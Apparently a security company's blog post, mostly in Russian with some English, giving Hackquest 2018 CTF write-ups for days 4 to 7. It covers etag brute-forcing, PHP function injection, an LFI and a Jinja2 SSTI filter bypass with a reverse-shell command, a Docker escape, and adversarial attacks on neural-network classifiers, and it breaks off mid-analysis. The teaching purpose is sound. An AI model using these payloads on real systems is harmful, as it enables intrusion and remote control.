Digital Security corporate blog
Information Security
March 4

Hackquest 2018. Results & Writeups. Day 4-7

Как и обещали, выкладываем вторую часть решений ежегодного хакквеста. Day 4-7: напряжение нарастает, а задания всё интереснее!


Day4. Imagehub

This task was prepared by SPbCTF.

Our new creation will kill Instagram. We'll convince you in just two words:

1. Filters. New never-before-seen filters for your uploaded pictures.
2. Caching. Custom HTTP server ensures image files land in the browser cache.

Try it right now!

Run /get_the_flag to win.
Custom server binary: dppth

25/10/2018 20:00
Task wasn't solved. 24 hours added.

25/10/2018 17:00
There are two bugs that we know of. First one gets you the web app sources, second one gets you RCE.



  • ELF x86_64
  • Implements simple http server
  • If requested file has executable bit, then its passed to php-fpm
  • Code implements custom etag caching

Web part:

  • Has file upload functionality. Image can be modified using predefined filters.
  • Admin page with Basic on /?admin=show

Vulnerability: Source code reading

Cache functionality seems interesting, because we can get server to hash arbitrary range of file (even 1 byte range).

Etag = sprintf("%08x%08x%08x", file_mtime, hash, file_size);
def etag_hash(data):
    v16 = [0 for _ in range(16)]
    v16[0] = 0
    v16[1] = 0x1DB71064
    v16[2] = 0x3B6E20C8
    v16[3] = 0x26D930AC
    v16[4] = 0x76DC4190
    v16[5] = 0x6B6B51F4
    v16[6] = 0x4DB26158
    v16[7] = 0x5005713C
    v16[8] = 0xEDB88320
    v16[9] = 0xF00F9344
    v16[10] = 0xD6D6A3E8
    v16[11] = 0xCB61B38C
    v16[12] = 0x9B64C2B0
    v16[13] = 0x86D3D2D4
    v16[14] = 0xA00AE278
    v16[15] = 0xBDBDF21C
    hash = 0xffffffff
    for i in range(len(data)):
        v5 = ((hash >> 4) ^ v16[(hash ^ data[i]) & 0xF]) & 0xffffffff
        hash = ((v5 >> 4) ^ v16[v5 & 0xF ^ (data[i] >> 4)]) & 0xffffffff
    return (~hash) & 0xffffffff

Unfortunately etag is stripped for executable files (*.php):

stat_0(v2, &stat_buf);
if ( stat_buf.st_mode & S_IEXEC )
  setHeader(a2->respo, "cache-control", "no-store");
  deleteHeade(a2->respo, "etag");
  dup2(fd, 0);
  snprintf(s, 4096, "/usr/bin/php-cgi %s", a1->url);

Still there is a check before page execution, so if we correctly guess etag value (if-none-match), than the server will serve us a 304 Not Modified status response. Using this we can bruteforce source code byte by byte.

v11 = getHeader(&s.request, "if-modified-since");
if ( v11 )
  v3 = getHeader(&v14, "last-modified");
  if ( !strcmp(v11, v3) )
v12 = getHeader(&s.request, "if-none-match");
if ( v12 )
  v4 = getHeader(&v14, "etag");
  if ( !strcmp(v12, v4) )
exec_and_prepare_response_body(&s, &a2a);

Lets summarize what we have got from RE:

  1. Timestamp is easily readed from last-modified response header (string — > timestamp).
  2. Range allows to be one byte length (so we will get hash for only one byte)
  3. Hash can be guessed for 1 byte range (256 possible values)
  4. Size is bruteforceable, but we need to know at least one byte from target file.
  5. Since we would like to get source for *.php files, its a good assumption, that the file is starting with "<?php".

First step will be getting size, and the second is getting actual file contents.
With multi threaded code I reached the speed of ~1 char/sec, and dumped some files:
// error_reporting(0);

if (isset($_GET["admin"]) && (!isset($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW'] !== '888b2f04eef9a49fc87fa81089b736de')) {
    header('WWW-Authenticate: Basic realm="Admin Area"');
    header('HTTP/1.0 401 Unauthorized');

require "upload.php";
$uploader = new ImageUploader();

$result = $uploader->upload();
if ($result === true) die();
if ($result > 0) {
    echo "Error: " . $result;

if ($uploader->upload() !== true) {
    include "templates/main.php";

require "includes/uploaderror.php";
require "includes/verify.php";
require "includes/filters.php";

class ImageUploader {
    const TARGET_DIR = "51a8ae2cab09c6b728919fe09af57ded/";

    public function upload() {
        $result = verify_parameters();
        if ($result !== true) {
            return $result;

        $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]);
        $size = intval($_POST['size']);
        if (!move_uploaded_file($_FILES["imageFile"]["tmp_name"], $target_file)) {
            return UploadError::MOVE_ERROR;

        $text = $_POST['text'];

        $filterImage = $_POST['filter']($size, $text);

        $imagick = new \Imagick(realpath($target_file));
        $imagick->scaleimage($size, $size);

        $imagick->compositeImage($filterImage, imagick::CHANNEL_ALPHA, 0, 0);

        header("Content-Type: image/jpeg");
        echo $imagick->getImageBlob();

        return true;

function make_text($image, $size, $text) {
    $draw = new ImagickDraw();
    $draw->setFontSize( 18 );
    $image->annotateImage($draw, $size / 2 - 65, $size - 20, 0, $text);
    return $image;

function futut($size, $text) {
    $image = new Imagick();
    $pixel = new ImagickPixel( 'rgba(127,127,127,127)' );
    $image->newImage($size, $size, $pixel);
    $image = make_text($image, $size, $text);
    return $image;

function incasinato($size, $text) {
    $image = new Imagick();
    $pixel = new ImagickPixel( 'rgba(130,100,255,3)' );
    $image->newImage($size, $size, $pixel);
    $image = make_text($image, $size, $text);
    return $image;

function fertocht($size, $text) {
    $image = new Imagick();
    $s = $size % 255;
    $pixel = new ImagickPixel( "rgba($s,$s,$s,127)" );
    $image->newImage($size, $size, $pixel);
    $image = make_text($image, $size, $text);
    return $image;

function jebeno($size, $text) {
    $image = new Imagick();
    $pixel = new ImagickPixel( 'rgba(0,255,255,255)' );
    $image->newImage($size, $size, $pixel);

    $iterator = $image->getPixelIterator();
    $i = 0;
    foreach ($iterator as $row=>$pixels) {
        foreach ( $pixels as $col=>$pixel ) {
            $color = $pixel->getColor();
            $alpha = $pixel->getColor(true);
            $r = ($color['r']+$i*10) % 255;
            $g = ($color['g']-$j) % 255;
            $b = ($color['b']-($size-$j)) % 255;
            $a = ($alpha['a']) % 255;
    $image = make_text($image, $size, $text);
    return $image;

function kuthamanga($size, $text) {
    $image = new Imagick();
    $pixel = new ImagickPixel( 'rgba(127,127,127,127)' );
    $image->newImage($size, $size, $pixel);
    $iterator = $image->getPixelIterator();
    $i = 0;
    foreach ($iterator as $row=>$pixels) {
        foreach ( $pixels as $col=>$pixel ) {
            $color = $pixel->getColor();
            $alpha = $pixel->getColor(true);
            $r = ($color['r']+$i) % 255;
            $g = ($color['g']-$j) % 255;
            $b = ($color['b']-$i) % 255;
            $a = ($alpha['a']+$j) % 255;
    $image = make_text($image, $size, $text);
    return $image;

class UploadError {
    const POST_SUBMIT = 0;
    const IMAGE_NOT_FOUND = 1;
    const NOT_IMAGE = 2;
    const FILE_EXISTS = 3;
    const BIG_SIZE = 4;
    const INVALID_PARAMS = 7;
    const INCORRECT_SIZE = 8;
    const MOVE_ERROR = 9;

function verify_parameters() {
    if (!isset($_POST['submit'])) {
        return UploadError::POST_SUBMIT;

    if (!isset($_FILES['imageFile'])) {
        return UploadError::IMAGE_NOT_FOUND;

    $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]);
    $imageFileType = strtolower(pathinfo($_FILES["imageFile"]["name"], PATHINFO_EXTENSION));
    $imageFileInfo = getimagesize($_FILES["imageFile"]["tmp_name"]);

    if($imageFileInfo === false) {
        return UploadError::NOT_IMAGE;

    if ($_FILES["imageFile"]["size"] > 1024*32) {
        return UploadError::BIG_SIZE;

    if (!in_array($imageFileType, ['jpg'])) {
        return UploadError::INCORRECT_EXTENSION;

    $imageMimeType = $imageFileInfo['mime'];

    if ($imageMimeType !== 'image/jpeg') {
        return UploadError::INCORRECT_MIMETYPE;

    if (file_exists($target_file)) {
        return UploadError::FILE_EXISTS;

    if (!isset($_POST['filter']) || !isset($_POST['size']) || !isset($_POST['text'])) {
        return UploadError::INVALID_PARAMS;

    $size = intval($_POST['size']);
    if (($size <= 0) || ($size > 512)) {
        return UploadError::INCORRECT_SIZE;
    return true;

This gives us:
  • Username / password for Admin Basic. Completely useless, it only prints string:
    Congratz. Now you can read sources. Go deeper.
  • Function Injection (FI) on 'filter' input.
  • Image upload validation is now clear for us.
  • ImageMagic library is used. Assuming that it is used for exploit is a deadend. I don't think there is any way to exploit it without relying on FI.

Vulnerability: Function Injection

File upload.php has some suspicious code:

$filterImage = $_POST['filter']($size, $text);  

We can simplify it to:

$filterImage = $_GET['filter'](intval($_GET['size']), $_GET['text']);  

You can actually detect this vulnerability just by doing some fuzzing. Sending function names like "var_dump" or "debug_zval_dump" in 'filter' input will result in interesting responses from the server.

string(10) "jsdksjdksds"</code>
So, its not hard to guess how server side code looks like.

If we had an write permission to www root, than we could just use two functions:
<code>file_put_contents(0, "<?php system($_GET[a]);")
chmod(0, 777)

But it is not our case. There are at least two ways of solving the task.

filter_input_array vector (unintended solution): RCE vector

While thinking of possible ways to get RCE, I noticed that function filter_input_array gives us pretty good control over $filterImage variable.

Passing filter array as second argument, will allow as to build arbitrary array on function result.

But ImageMagic is not expecting to get anything besides Imagick class. :(

May be we can unserialize class from input? Let's look for additional filter arguments at filter_input_array description.

It is not mentioned on the function page itself, but we can actually pass a callback for input validation. FILTER_CALLBACK example is for filter_input, but it works for filter_input_array, too!

This means that we can «validate» custom user inputs using function with one argument (eval? system?), and we have control over the argument.


Example for getting RCE:




*** Wooooohooo! ***

Congratulations! Your flag is:

-- SPbCTF (

Искомая строка: 1m_t3h_R34L_binaeb_g1mme_my_71ck37

Something was definitely feeling wrong, because why would we even need to get the source code? Just for a hint? Why uploaded files was stored on disk, isn't it more convenient not to store junk files from the challenge users?

Coincidence in naming filter=filter_input_array, text[a][filter] gave me a confidence that everything was done as expected («never-before-seen filters», check ✓).

spl_autoload vector: LFI vector

After submitting solution I got contacted by one of the challenge authors, who said that my vector was not intended and another function can be used (spl_autoload):

It is not obvious how we can use this function because as it supposed to load a class "<class_name>" from the file named "<class_name><some_extension>". Signature is following:

void spl_autoload ( string $class_name [, string $file_extensions = spl_autoload_extensions() ] )  

Our first argument can only be number (1-512), so the class name is a… number?… weird.
Extension argument is also looks unusable, controlled files are one level deeper than upload.php (we need to pass a prefix).

This function can actually give us an LFI if used this way:

spl_autoload(51, "a8ae2cab09c6b728919fe09af57ded/1.jpg") = include("51a8ae2cab09c6b728919fe09af57ded/1.jpg")

Directory name is acquired from the leaked source code. And we got lucky, because if the first character of name was anything besides number -> we could not include files from there.

So… all we need now is to pass a «kind-of-valid» (getimagesize must accept it) *.jpg file with php code emended. Simple example (php payload in exif) is attached.

Upload it as 1111.jpg, and do:



... .JFIF ... Exif MM * . " (. . .i . . D . D .. V ..
*** Wooooohooo! ***

Congratulations! Your flag is:

-- SPbCTF (

Искомая строка: 1m_t3h_R34L_binaeb_g1mme_my_71ck37
Upload and LFI can be done in one request.

Day5. Time

This task was prepared by Digital Security team
The first thing you need is to subdue time, the second one is to go beyond the small world. After that you will get a weapon against boss final level. Good luck!

27/10/2018 16:00
Oh, how many devices on a box… are they really usefull?
27/10/2018 14:35
If you were able to cope with the filter on the timepanel, then you can use the capabilities of an entire system. Do not be shy.
27/10/2018 14:25
Check virtual host and don't dwell on 200
26/10/2018 19:25
Task wasn't solved. 24 hours added.
26/10/2018 17:35
Use all your capabilities.
26/10/2018 12:25
You do not need any forensic software to complete any stage of a task.

1) Wordpress

Изначально нам дан адрес
Прогоняем hehdirb — видим директорию /wordpress/. Сразу заходим в админку под admin:admin.
В админке видим, что нет привилегий на изменение шаблонов, так что нельзя просто так добиться RCE. Однако есть скрытый пост:
Private: Notes about time panel
login: cristopher
password: L2tAPJReLbNSn085lTvRNj
host: timepanel.zn


Очевидно, нужно зайти на тот же сервер, указав виртуальный хост timepanel.zn.
Запускаем hehdirb по этому хосту — видим директорию /adm_auth, заходим под логином и паролем, данными выше. Видим форму, в которой нужно ввести даты («от» и «до») для получения какой-то информации. При этом в HTML-коде ответа видим коммент, где отражаются эти же даты:

<!- start time: 2018-10-25 20:00:00,  finish time:2018-10-26 20:00:00 ->

Очевидно, баг здесь, скорее всего, должен быть связан с этим отражением, и вряд ли это XSS, так что пробуем SSTI:

start=2018-10-25+20%3A00%3A00{{ 1 * 0 }}&finish=2018-10-26+20%3A00%3A00


<!- start time: 2018-10-25 20:00:000,  finish time:2018-10-26 20:00:00 ->

Отправив {{ self }}, {{ 'a' * 5 }}, осознаём, что это Jinja2, но стандартные векторы не работают. Отправив векторы без {{скобок}}, видим, что в ответе не отражаются символы "_" и некоторые слова, например, «class». Фильтр такой легко обходится через использование request.args и конструкции |attr(), а также кодирование некоторых байтов escape-последовательностью.

Итоговый запрос для backconnect
POST /adm_main?sc=from+subprocess+import+check_output%0aRUNCMD+%3d+check_output&cmd=bash+-c+'bash+-i+>/dev/tcp/<%261' HTTP/1.1
Host: timepanel.zn
Content-Type: application/x-www-form-urlencoded
Content-Length: 616
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.DrOOLQ.ROX16sOUD_7v5Ct-dV5lywHj0YM

start={{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f')|attr('\x5f\x5f\x6dro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(2)|attr('\x5f\x5fsubcl\x61sses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/var/tmp/BECHED.cfg','w')|attr('write')( }}
{{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f')|attr('\x5f\x5f\x6dro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(2)|attr('\x5f\x5fsubcl\x61sses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/var/tmp/BECHED.cfg')|attr('read')() }}
{{ config|attr('from\x5fpyfile')('/var/tmp/BECHED.cfg') }}
{{ config['RUNCMD'](request.args.cmd,shell=True) }}

3) LPE

Получив RCE, понимаем, что нужно поднять привилегии до рута. При этом есть несколько ложных путей (/usr/bin/special, /opt/ и ещё несколько), которые описывать не хочется, поскольку они только отнимают время. Также есть бинарь /usr/bin/zero, у которого нет suid-бита, но выясняется, что он может читать любые файлы (достаточно отправить ему hex-закодированный путь в stdin).

Причина — capabilities (/usr/bin/zero = cap_dac_read_search+ep).
Читаем shadow, ставим брутиться хеш, но, пока он брутится, угадываем, что нужно прочитать файл другого пользователя, который есть в системе:

$ echo /home/cristopher/.bash_history | xxd -p | zero

I can read something for you

4) Docker escape / Forensics

Итак, у нас есть рут. Но это ещё не конец. Ставим apt install extundelete и находим в файловой системе ещё несколько интересных файлов, относящихся уже к следующему этапу:

To get a ticket, you need to change an image so that it is identified as «1». You have a model and an image. curl -X POST -F image=@ZeroSource.bmp ''.

Значит, перед нами теперь стоит стандартная задача по генерации состязательного примера для модели машинного обучения. Однако, на этом этапе мне ещё не удалось добыть все нужные файлы. Сделать это удалось лишь поставив на сервер агент R-Studio и занявшись удалённой форенсикой. Уже почти вытащив то, что нужно, обнаружил, что вообще-то docker-контейнер запущен в режиме, позволяющем примонтировать весь диск

Делаем mount /dev/vda1 /root/kek и получаем доступ к хостовой файловой системе, а заодно и root-доступ ко всему серверу (поскольку можем подложить свой ssh-ключ). Вытаскиваем KerasModel.h5, ZeroSource.bmp.

5) Adversarial ML

По картинке сразу ясно, что нейросеть обучена на датасете MNIST. При попытке отправить произвольную картинку на сервер, получаем ответ о том, что картинки слишком сильно отличаются. Значит, сервер измеряет расстояние между векторами, ведь он хочет именно adversarial-пример, а не просто картинку с изображением «1».

Пробуем первую попавшуюся атаку из foolbox — получаем атакующий вектор, но сервер его не принимает (слишком велико расстояние). Тут я пошёл в дебри, начав переделывать реализации One Pixel Attack под MNIST, и ничего не получалось, поскольку в этой атаке используется алгоритм дифференциальной эволюции, он не градиентный и пытается найти минимум стохастически, руководствуясь изменениями в векторе вероятностей. Но вектор вероятностей не менялся, поскольку нейросеть была слишком уверенной.

В конечном счёте пришлось вспомнить про подсказку, которая была в изначальном текстовом файле на сервере — "(Normilize ^_^)". После аккуратной нормализации удалось эффективно провести атаку при помощи алгоритма оптимизации L-BFGS, ниже итоговый эксплойт:

import foolbox
import keras
import numpy as np
import os
from foolbox.attacks import LBFGSAttack
from foolbox.criteria import TargetClassProbability
from keras.models import load_model
from PIL import Image

image ='./ZeroSource.bmp')
image = np.asarray(image, dtype=np.float32) / 255
image = np.resize(image, (28, 28, 1))

kmodel = load_model('KerasModel.h5')
fmodel = foolbox.models.KerasModel(kmodel, bounds=(0, 1))
adversarial = image[:, :]

	attack = LBFGSAttack(model=fmodel, criterion=TargetClassProbability(1, p=.5))
	adversarial = attack(image[:, :], label=0)
	print 'FAIL'

print kmodel.predict_proba(adversarial.reshape(1, 28, 28, 1))
adversarial = np.array(adversarial * 255, dtype='uint8')
im ='ZeroSource.bmp')

for x in xrange(28):
	for y in xrange(28):
		im.putpixel((y, x), int(adversarial[x][y][0]))'ZeroSourcead1.bmp')
os.system("curl -X POST -F image=@ZeroSourcead1.bmp ''")

Искомая строка: H3y_Y0u'v_g01_4_n1c3_t1cket

Day6. Awesome Vm

This task was prepared by School CTF team.
Check out a new training service!

Right now we want to engage you in a beta-testing a new virtual machine created especially for testing programming skills of our newbies. We've added intellectual protection against cheating and now want to thoroughly check everything before offering the platfotm. The VM allows you to run simple programs… or not only?!

27/10/2018 16:20
Maybe you can fool or bypass AI system?


Сервис представляет из себя проверяющую систему для файлов с расширением .cmpld, принимаемых интерпретатором sibVM. Задача, которую должна решить отправленная программа: вычислить сумму перечисленных в файле input.txt чисел, чем-то напоминает acm-соревнования. Также в описании веб-интерфейса указано, что отправляемые программы будут проверяться с помощью искусственного интеллекта.

Сервис состоит из двух Docker-контейнеров: web-docker и prod_inter.

web-docker не представляет особого интереса для анализа. Все, что он делает — транслирует отправленный файл в контейнер prod_inter, внутри которого и происходит всё самое интересное. Соответствующий фрагмент кода представлен ниже:

В контейнере prod_inter происходит проверка отправленного файла и его исполнение на тестовых данных. Для каждой отправки случайным образом создается новая директория в /tmp/, куда под случайным именем и сохраняется отправленный файл. В созданную директорию также помещается файл flag.txt, который, вероятно, и является нашей целью.

Затем начинается самое интересное: если файл больше 8192 байт, то происходит проверка входного файла программы с помощью искусственного интеллекта. В качестве ИИ выступает заранее обученная сверхточная нейронная сеть. В случае, если проверка была пройдена успешно (входные данные больше 8192 байт, и нейронная сеть отнесла их к первому классу), программа выполняется на пяти различных тестах, и результат отправляется в ответном сообщении и отображается пользователю.

Если же размер входных данных меньше 8192 байт, или они не прошли проверку нейронной сетью, то перед тестированием происходит дополнительная проверка программы на наличие подстроки flag.txt в ней и на попытки открыть файл с таким именем. Обращение к файлу flag.txt отслеживается посредством запуска программы в песочнице secfilter, работающей на основе технологий SECCOMP, и анализа лога исполнения. Ниже представлен соответствующий код сервиса и пример лога при попытке открыть запрещённый файл:

Для решения данного таска мною был сгенерирован набор программ для интерпретатора sibVM, открывающих файл flag.txt и выводящих числовое значение i-го байта файла. Каждая программа при этом успешно проходит проверку ИИ. Далее будут представлены поверхностный анализ нейронной сети и описание работы виртуальной машины.

Анализ нейронной сети

Обученная модель нейронной сети содержится в файле cnn_model.h5. Ниже представлена общая информация об архитектуре сети.

Мы не знаем, что именно распознает нейронная сеть, поэтому попытаемся подавать ей на вход различные данные. Из архитектуры сети понятно, что на вход она принимает одноканальное изображение размера 100Х100. Чтобы избежать влияния масштабирования на результат, будем использовать последовательности по 10000 байт, конвертированные в изображение с помощью функций, используемых в сервисе. Ниже представлены результаты работы нейронной сети на различных данных:

На основе полученных результатов можно предположить, что нейронная сеть будет принимать изображения с преобладанием чёрных цветов(нулевые байты). Скорее всего, для написания программы, считывающей символы флага, потребуется существенно меньше 1000 значимых байт (остальное можно будет заполнить нулями), и тогда ИИ примет отправленную программу.

Соответственно, для решения таска осталось написать нужную программу.

Интерпретатор sibVM

Структура программы
Первым делом необходимо разобраться со структурой файла программы. В ходе реверсинга интерпретатора выяснилось, что программа должна начинаться с определённого заголовка с несколькими служебными полями, после которого идёт набор сущностей с идентификаторам, среди которых должна быть сущность main типа Function.

Проверка заголовка файла

Извлечение записей

Обработка записей и запуск функции main

В итоге получился следующий формат входного файла:

Типы данных

Интерпретатор поддерживает различные типы сущностей. Ниже представлена таблица и их идентификаторов, которые в дальнейшем понадобятся для построения программы.

Построение программы для интерпретатора

Как упоминалось выше, в программе должна существовать запись main с типом Function (5). Она имеет следующий формат:

Обнаружить основной цикл исполнения программы было несложно.

Основной цикл исполнения

Функция decode_opcode извлекает информацию об очередной операции из кода программы. Первые два байта каждой операции содержат код операции, количество аргументов и их тип. Следующие несколько байт (зависит от типа и количества аргументов) будут интерпретированы как аргументы операции.

Формат первых двух байтов операции:

Далее разберём некоторые инструкции, которые помогут нам извлечь флаг из системы.

Граф интерпретатора команд, функция execute_opcode

  • Опкод 0 — открывает файл (название файла задается аргументом операции и имеет тип String) и помещает его содержимое на вершину стека в виде объекта типа ByteArray.
  • Опкод 2 — выводит на экран значение, хранимое на вершине стека. К сожалению, данная операция не будет выводить значение объекта типа ByteArray. Для решения данной проблемы можно получить i-ый элемент массива и вывести его.

Обработка опкода 2

  • Опкод 13 — взятие элемента из массива по индексу. Массив и индекс элемента извлекаются из стека, результат помещается на стек. Соответственно, для составления рабочей программы необходимо поместить индекс на стек.
  • Опкод 7 — помещает на стек аргумент операции.

В итоге, программа состоит всего из 4 операций:

Итоговая программа

Искомая строка: flag{76f98c7f11582d73303a4122fd04e48cba5498}

Day7. Hiddenresource

This task was prepared by RuCTF.

Given the n24.elf service. Just authorize on and get you flag.

28/10/2018 20:00

Task wasn't solved. 24 hours added.

Опрос сервера на наличие доступа по стандартным протоколам подключения показал наличие доступа по SSH (порт 22). Предоставленный файл является исполняемым ELF (на что тонко намекнули расширением в названии) для Linux.

#file UwRJ8iaEEd4tSQIe_n24.elf 
UwRJ8iaEEd4tSQIe_n24.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, for GNU/Linux 2.6.32, stripped

Использование утилиты strings показало наличие строк «/home/task/.ssh» и «/home/task/.ssh/authorized_keys». Вывод о возможности доступа к файлу ключей беспарольной авторизации SSH со стороны исполняемого файла ELF (далее – сервиса).

В символьной таблице присутствуют необходимые функции для открытия файлов и записи:

# readelf --dyn-syms UwRJ8iaEEd4tSQIe_n24.elf | grep fopen
    23: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fopen@GLIBC_2.2.5 (2)
# readelf --dyn-syms UwRJ8iaEEd4tSQIe_n24.elf | grep write
    32: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fwrite@GLIBC_2.2.5 (2)

В символьной таблице также присутствуют функции для работы с сокетами, по созданию процессов и по подсчету MD5.

Реверс файла показал наличие большого числа прыжков (некоего рода обфускация). При этом, прыжки осуществляются между блоками кода, которые в общем могут быть разбиты на несколько типов:

  • блоки по схеме «выполнил определённый функционал и прыгнул на следующий блок на основе установленного флага OF процессора», как тут (вывод утилиты objdump):

      95b69b:		48 0f 44 c7          	cmove  rax,rdi
      95b69f:		48 83 e7 01          	and    rdi,0x1
      95b6a3:		4d 31 dc             	xor    r12,r11
      95b6a6:		71 05                		jno    95b6ad <MD5_Final@@Base+0x2d83f9>
      95b6a8:		e9 f4 bf e1 ff       	jmp    7776a1 <MD5_Final@@Base+0xf43ed>
      95b6ad:		e9 1f 1a de ff       	jmp    73d0d1 <MD5_Final@@Base+0xb9e1d>

    При этом, в таких блоках флаг OF обычно не установлен в силу выполнения инструкций «xor», «and» и других.
  • блоки, модифицирующие ход своего выполнения после первого прохода. В большинстве таких блоков изначально прыжок из них ведет в неисполняемые области. В блоке производится модификация инструкции прыжка, как тут:

    95b401:	c7 04 25 2b b4 95 00 	mov    DWORD PTR ds:0x95b42b,0x34be74
      95b408:	74 be 34 00 
      95b40c:	66 c7 04 25 01 b4 95 	mov    WORD PTR ds:0x95b401,0x13eb
      95b413:	00 eb 13 
      95b416:	4c 0f 44 da          	cmove  r11,rdx
      95b41a:	48 d1 ea             	shr    rdx,1
      95b41d:	48 0f 44 ca          	cmove  rcx,rdx
      95b421:	49 89 d3             	mov    r11,rdx
      95b424:	48 89 ca             	mov    rdx,rcx
      95b427:	4c 89 da             	mov    rdx,r11
      95b42a:	e9 8d ad e7 00       	jmp 17d61bc 
  • простые блоки, выполняющие определённый функционал и идущие дальше.

По результатам реверса сделано предположение о наличии реализации подсчета по алгоритму MD5. Необходимая для расчета таблица не реализована отдельно, а читается прямо в коде в блоках. В коде есть символы с названиями «MD5_Init», «MD5_Update» и «MD5_final».

В целом, с использованием возможностей всем известного дизассемблера и его API скриптов можно было определить ход выполнения программы статически. Но лицензия дизассемблера дорогая, пробная версия у них грустная, достать его сложно, и я обходился свободно распространяемыми утилитами, да и этот путь дольше. Поэтому динамика и тем более возможность есть.

Закинул файл ELF в виртуалку. Заранее создал директорию «/home/task/.ssh/» на всякий случай.

При запуске требуется указать порт. Учитывая, что мы не контролируем запуск на стороне сервера, подумал, что этот параметр фиктивный. Реальный порт должен быть один. Netstat показал наличие открытого порта 5432 (UDP).

# netstat -ulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
udp        0      0  *                           13611/./UwRJ8iaEEd4

Отправка пакета с данными на указанный порт выводит сообщение об их верификации и некие данные (4 байта) со стороны сервиса:
#echo "test" > /dev/udp/
# Verifying 74657374

Перебор различных данных на позволил выявить зависимость вывода от их содержимого.
Далее – отладка с использованием gdb. Первым делом узнаю, где получаем данные, точка останова на recvfrom и backtrace. Получаем в итоге адрес 0x6ae010.

Цепочка переходов
6ae00b:	e8 d0 2b d5 ff       	call   400be0 <recvfrom@plt>
6ae010:	e9 64 bc ea ff       	jmp    559c79 <MD5_Update@@Base+0x953fc>

559c79:	89 45 80             	mov    DWORD PTR [rbp-0x80],eax
559c7c:	83 f8 ff             		cmp    eax,0xffffffff # если не получили, то -1
559c7f:	0f 84 62 7f 1c 00    	je     721be7 <MD5_Final@@Base+0x9e933>
559c85:	e9 8a d6 2c 00       	jmp    827314 <MD5_Final@@Base+0x1a4060>

827314:	48 c7 c7 30 d1 f0 00 	mov    rdi,0xf0d130
82731b:	48 29 27             	sub    QWORD PTR [rdi],rsp
82731e:	48 89 df             	mov    rdi,rbx
827321:	e8 5f 94 fe ff       	call   810785 <MD5_Final@@Base+0x18d4d1>
827326:	e9 d7 a5 2d 00       	jmp    b01902 <MD5_Init@@Base+0x7569>

b01902:	85 c0                		test   eax,eax
b01904:	0f 84 dd 02 c2 ff    	je     721be7 <MD5_Final@@Base+0x9e933>
b0190a:	e9 7c a9 bb ff       	jmp    6bc28b <MD5_Final@@Base+0x38fd7>

В цепочке вызов функции по адресу 0x810758 и обработка ее результата.
Ставим break на 0xb01902, отправляем пакет с данными.

Код возврата (регистр rax)
(gdb) b *0xb01902
Breakpoint 2 at 0xb01902
(gdb) c
Verifying 74657374

Breakpoint 2, 0x0000000000b01902 in MD5_Init ()
(gdb) info reg rax
rax 0x0 0

Код 0 при неправильных данных. Следовательно, предполагаем, что для правильного решения нам нужно вернуть код не 0.

В процессе дальнейшего исследования посмотрел через gdb, что передается в функцию MD5_Update при отправке пакета данных (отправлял также «test»).

(gdb) b MD5_Update
Breakpoint 3 at 0x4c487d (2 locations)
(gdb) c
Verifying 74657374

Breakpoint 3, 0x00000000004c487d in MD5_Update ()
 (gdb) info reg rsi
rsi            0x7fffffffdd90	140737488346512
(gdb) x/20bx $rsi
0x7fffffffdd90:	0x74	0x65	0x73	0x74	0x0a	0xff	0x7f	0x00
0x7fffffffdd98:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7fffffffdda0:	0x00	0x00	0x00	0x00
(gdb) info reg $rdx
rdx            0x200	512


MD5 считается от переданного нами сообщения, но размер считаемых данных 512 Байт. Поигравшись с данными, выяснил, что MD5 считается от присланных данных с заполненными до размера 512 байт нулями. Но отправлять нужно минимум 8 байт, чтобы заменить некое 8 байтовое число, хранимое в стеке. Судя по всему, там хранился какой-то адрес. Выводимые при этом сервисом 4 байта на каждый пришедший пакет соответствуют первым 3 байтам MD5-суммы с дополнительным нулем.

Вернулся к функции 0x810758 и ее коду возврата 0. Возвращаемое значение хранится в регистре RAX. Для определения кода возврата установил 2 точки останова на адрес самой функции 0x810758 и адрес после ее выполнения 0x827326.

Отправил данные, сработала точка в 0x810758. Запустил в gdb скрипт:

import gdb

with open("flow.log", "w") as fw:
    while 1:
        s = gdb.execute("info reg rip", to_string=True)
        s = s[s.find("0x"):]
        gdb.execute("ni", to_string=True)
        address = s.split("\t")[0].strip()
        fw.write(address + "\r\n")
        address = int(address, 16)
        if address == 0x827326:

Получил файлик flow.log со всеми пройденными адресами в процессе выполнения исследуемой функции. На самом деле, все было не так просто, но пришел в итоге к этому.
Подготовил файлик «disasm.log» с дизассемблированным кодом из objdmp к читабельному виду типа «адрес: инструкция» без лишних строк.

Запустил такой вот скрипт
F_NAME = "disasm.log"
F_FLOW = "flow.log"

def prepare_code_flow(f_path):
    with open(f_path, "rb") as fr:
        data = fr.readlines()
    data = filter(lambda x: x, data)
    start_address = long(data[0].split(":")[0], 16)
    end_address = long(data[-1].split(":")[0], 16)
    res = [""] * (end_address - start_address + 1)
    for _d in data:
        _d = _d.split(":")
        res[long(_d[0].strip(), 16) - start_address] = "".join(_d[1:]).strip()

    return start_address, res

def parse_instruction(code):
    mnem = code[:7].strip()
    ops = code[7:].split(",")
    return [mnem] + ops

def process_instruction(code):
    parse_data = parse_instruction(code)
    if parse_data[1] in ["rax", "eax", "al"]:
        return True
    return False

if __name__ == '__main__':
    # Prepare disassemble data
    start_address, codes = prepare_code_flow(F_NAME)

    with open(F_FLOW, "rb") as fr:
        lines = fr.readlines()
    lines = filter(lambda x: x, lines)

    count = 0
    for _l in lines:
        offset = long(_l.strip(), 16) - start_address
        if process_instruction(codes[offset]):
            print str(count) + " " + hex(offset + start_address) + " " + codes[offset]
        count += 1

Скрипт просто «идет» по адресам назад от конца до момента, пока не получит в первом операнде инструкции регистр RAX. Результат:
0x67c27c mov DWORD PTR [rbp-0x14], 0x0
